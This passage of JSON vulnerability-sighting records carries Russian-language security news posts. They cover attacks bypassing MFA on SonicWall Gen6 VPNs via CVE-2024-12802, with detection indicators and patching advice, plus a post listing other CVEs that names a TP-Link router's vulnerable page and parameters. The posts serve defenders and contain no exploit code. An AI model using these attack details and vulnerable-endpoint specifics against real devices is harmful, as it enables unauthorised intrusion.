\u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 Windows CLFS.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:10.296023Z"}, {"uuid": "92f47d17-1b84-4f9a-8957-1c32f099d398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-22)", "content": "", "creation_timestamp": "2026-05-22T00:00:00.000000Z"}, {"uuid": "6eee12bf-988f-4776-9d09-a98f087a4542", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://t.me/S_E_Reborn/6375", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 MFA \u0432 VPN SonicWall \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u041f\u041e.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0431\u0440\u0443\u0442\u0438\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 VPN \u0438 \u043e\u0431\u043e\u0448\u043b\u0438 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e (MFA) \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 SonicWall Gen6 SSL-VPN, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u043e\u0442 30 \u0434\u043e 60 \u043c\u0438\u043d\u0443\u0442, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0439\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0441\u0435\u0442\u0438, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438 \u0432\u044b\u0439\u0442\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0438, \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u043e\u043c CVE-2024-12802, SonicWall \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Gen6 \u043d\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0440\u0443\u0447\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 LDAP-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 MFA.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 ReliaQuest \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u0430 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043f\u043e \u043c\u0430\u0440\u0442 \u0438 \u0441 \u0443\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043e\u0446\u0435\u043d\u0438\u043b\u0438 \u044d\u0442\u043e \u043a\u0430\u043a \u043f\u0435\u0440\u0432\u0443\u044e \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2024-12802, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 SonicWall \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u044b, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u043d\u0438\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u043d\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438, \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0448\u0430\u0433\u0438 \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b.\n\n\u041d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Gen7 \u0438 Gen8 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0434\u043e \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0438\u0441\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-12802.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 ReliaQuest, \u0447\u0442\u043e \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0445\u0430\u043a\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b\u0441\u044f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u043c\u0443 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0432\u0441\u0435\u0433\u043e \u0437\u0430 \u043f\u043e\u043b\u0447\u0430\u0441\u0430. \u0417\u0430\u0442\u0435\u043c \u043e\u043d \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 RDP, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043e\u0431\u0449\u0438\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043c\u0430\u044f\u043a Cobalt Strike \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0435\u0442\u043e\u0434\u0430 BYOVD. \u041e\u0434\u043d\u0430\u043a\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 EDR-\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u043e \u0430\u0442\u0430\u043a\u0443.\n\n\u0421\u0443\u0434\u044f \u043f\u043e \u043f\u0440\u0435\u0434\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u0445\u043e\u0434\u0443 \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u043c\u0443 \u0432\u0445\u043e\u0434\u0443 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 (\u0438\u043d\u043e\u0433\u0434\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439), \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0432 \u0440\u043e\u043b\u0438 \u043f\u043e\u0441\u0440\u0435\u0434\u043d\u0438\u043a\u0430, \u043f\u0440\u043e\u0434\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u0440\u0443\u0433\u0438\u043c \u0433\u0440\u0443\u043f\u043f\u0430\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443\u00a0\u0431\u0430\u043d\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Akira \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 SonicWall SSL VPN\u00a0\u0438 \u0441\u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (MFA) \u0432 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u044f\u0445, \u043e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u043d\u0435 \u0431\u044b\u043b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d.\n\n\u0423\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430\u044f CVE-2024-12802 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c MFA \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0432\u0445\u043e\u0434\u0430 UPN, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 MFA.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 SonicWall 6-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u043d\u0435\u043f\u043e\u043b\u0430\u0434\u043e\u043a, \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0432 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0437\u0430 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f CVE-2024-12802 \u00ab\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445\u00bb.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c ReliaQuest, \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a MFA, \u0447\u0442\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c, \u0447\u0442\u043e MFA \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u0434\u0430\u0436\u0435 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u0431\u043e\u044f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0441\u0438\u0433\u043d\u0430\u043b sess=\u201dCLI\u201d \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u043c \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c \u044d\u0442\u0438\u0445 \u0430\u0442\u0430\u043a, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u043c \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0438\u043b\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 VPN, \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0430 \u043d\u0435\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\u041a \u0434\u0440\u0443\u0433\u0438\u043c \u0432\u0430\u0436\u043d\u044b\u043c \u0441\u0438\u0433\u043d\u0430\u043b\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 238 \u0438 1080, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0445\u043e\u0434\u044b \u0432 VPN \u0441 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 VPS/VPN-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 SSL-VPN \u0448\u0435\u0441\u0442\u043e\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u043b\u0430\u0441\u044c 16 \u0430\u043f\u0440\u0435\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u0438 \u043e\u043d\u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0435, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.", "creation_timestamp": "2026-05-21T15:45:42.000000Z"}, {"uuid": "f32fa919-6c55-4622-a06b-e4513d8f1d1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-23)", "content": "", "creation_timestamp": "2026-05-23T00:00:00.000000Z"}, {"uuid": "e709afca-31af-4b69-9180-f189b0f9ef4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "\u041f\u043e\u0441\u043c\u0435\u044f\u043b\u0438\u0441\u044c \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 DeepSeek \u0438 \u0445\u0432\u0430\u0442\u0438\u0442. \u041f\u043e\u0440\u0430 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0432\u0435\u0449\u0430\u043c \u0438 \u0440\u0430\u0431\u043e\u0442\u0435, \u0434\u0430, @Pr0xProw?\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\ud83d\udd35CVE-2024-48841, CVE-2024-48849, and CVE-2024-48852 \u2014 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 FLXeon, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE-\u0430\u0442\u0430\u043a\u0435, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2024\u201354887 \u2014 \u043e\u0431\u0437\u043e\u0440 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0435 \u0422\u0420-Link \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b dnsserver1 \u0438 dnsserver2 \u0432 \u0444\u0430\u0439\u043b\u0435 /userRpm/Wan6to4TunnelCfgRpm.htm. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83d\udd35CVE-2024-53704 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SonicOS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 